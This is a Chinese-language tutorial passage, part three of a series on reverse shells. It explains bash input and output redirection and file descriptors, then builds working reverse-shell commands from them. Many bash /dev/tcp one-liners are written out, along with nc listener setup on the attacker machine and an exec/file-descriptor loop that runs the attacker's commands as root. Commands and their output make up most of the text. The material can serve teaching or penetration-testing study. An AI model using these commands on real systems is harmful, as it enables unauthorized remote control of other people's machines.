反弹shell那些事儿( 三 )

nc -lvp 2333 Connection from victim_ip:23610qwerasdf在攻击机传输的内容会被重定向到靶机 。
输入重定向原理:

反弹shell那些事儿

文章插图
 
掌握了上面的原理 , 可以随意构建反弹shell命令:
攻击:
nc -lvp 2333靶机:
bash -i 0< /dev/tcp/ip/2333 1>&0 2>&0或:
bash -i 0< /dev/tcp/ip/2333 1>&0 2>&1 bash -i < /dev/tcp/ip/2333 >&0 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&0其他变形:
bash -i 1>& /dev/tcp/ip/port 0>&1 bash -i 1>& /dev/tcp/ip/port 0>&2 bash -i &> /dev/tcp/ip/port 0>&1 bash -i &> /dev/tcp/ip/port 0>&2bash -i后的&>或>&表示混合输出 , 即标准输出1 + 错误输出2
bash 和 sh 的一点儿区别
sh 遵循POSIX规范:“当某行代码出错时 , 不继续往下解释” 。bash 就算出错 , 也会继续向下执行 。
简单说 , sh是bash的一种特殊的模式 , sh就是开启了POSIX标准的bash ,  /bin/sh 相当于 /bin/bash --posix
在Linux系统上/bin/sh往往是指向/bin/bash的符号链接
ln -s /bin/bash /bin/sh其他变形Unix操作系统通常给每个进程能打开的文件数量强加一个限制 , ulimit -n查看系统默认的文件描述符个数 。
例如:
# ulimit -n655360表示系统支持的文件描述符 0-655359
page 1:
打开"File"并且将fd 655359分配给它:
[j]<>filename# 为了读写"filename", 把文件"filename"打开, 并且将文件描述符"j"分配给它.# 如果文件"filename"不存在, 那么就创建它.eg:
exec 655359<> File    
反弹shell那些事儿

文章插图
 
&- 关闭标准输出
n&- 表示将n号输出关闭
page2:
攻击机:
[root@attacker]# nc -lvp 2333             # 第一步Connection from victim_ip:46414helloworld                                # 第三步123受害机:
[root@victim]# exec 65534<>/dev/tcp/attacker_ip/2333  # 第二步[root@victim]# cat <&65534helloworld123受害机的文件描述符同步读取到攻击机的写入 。
page3:
[root@attacker]# nc -lvp 2333Connection from victim_ip:46536id11受害机:
[root@victim]#exec 65534<>/dev/tcp/attacker_ip/2333;cat <&65534|while read line;do $line;doneuid=0(root) gid=0(root) groups=0(root)-bash: 11: command not found
【反弹shell那些事儿】


推荐阅读